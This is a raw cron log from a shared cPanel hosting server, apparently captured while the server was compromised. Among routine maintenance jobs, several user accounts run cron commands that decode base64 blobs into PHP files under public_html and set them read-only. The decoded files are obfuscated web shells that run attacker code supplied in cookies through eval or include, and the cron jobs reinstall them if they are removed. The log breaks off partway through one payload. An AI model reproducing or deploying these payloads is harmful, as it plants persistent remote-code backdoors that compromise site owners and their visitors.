Apr 19 04:04:02 medusa CROND[16650]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:04:02 medusa CROND[16645]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:04:02 medusa CROND[16643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:05:01 medusa CROND[7326]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 04:05:01 medusa CROND[7329]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:05:01 medusa CROND[7453]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 04:05:01 medusa CROND[7481]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 04:05:01 medusa CROND[7482]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 04:05:01 medusa CROND[7500]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:05:01 medusa CROND[7507]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:05:01 medusa CROND[7518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:05:01 medusa CROND[7519]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 04:05:01 medusa CROND[7521]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 04:05:01 medusa CROND[7522]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 04:05:01 medusa CROND[7524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:05:01 medusa CROND[7532]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:05:01 medusa CROND[7517]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 04:05:01 medusa CROND[7534]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 04:05:01 medusa CROND[7536]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:05:01 medusa CROND[7538]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:05:01 medusa CROND[7546]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 04:05:01 medusa CROND[7550]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:05:01 medusa CROND[7553]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 04:05:01 medusa CROND[7552]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 04:05:01 medusa CROND[7545]: (root) CMD (/usr/bin/flock -n /var/run/xray_upd_metadata.cronlock /usr/sbin/cl-smart-advice update-advices-metadata &> /dev/null)
Apr 19 04:05:01 medusa CROND[7548]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 04:05:01 medusa CROND[7571]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:05:01 medusa CROND[7572]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:06:02 medusa CROND[30323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:06:02 medusa CROND[30324]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 04:06:02 medusa CROND[30325]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:06:02 medusa CROND[30326]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 04:06:02 medusa CROND[30327]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:06:02 medusa CROND[30328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:06:02 medusa CROND[30329]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:06:02 medusa CROND[30333]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:06:02 medusa CROND[30334]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:06:02 medusa CROND[30336]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:06:02 medusa CROND[30338]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:06:02 medusa CROND[30339]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 04:06:02 medusa CROND[30340]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:06:02 medusa CROND[30343]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2V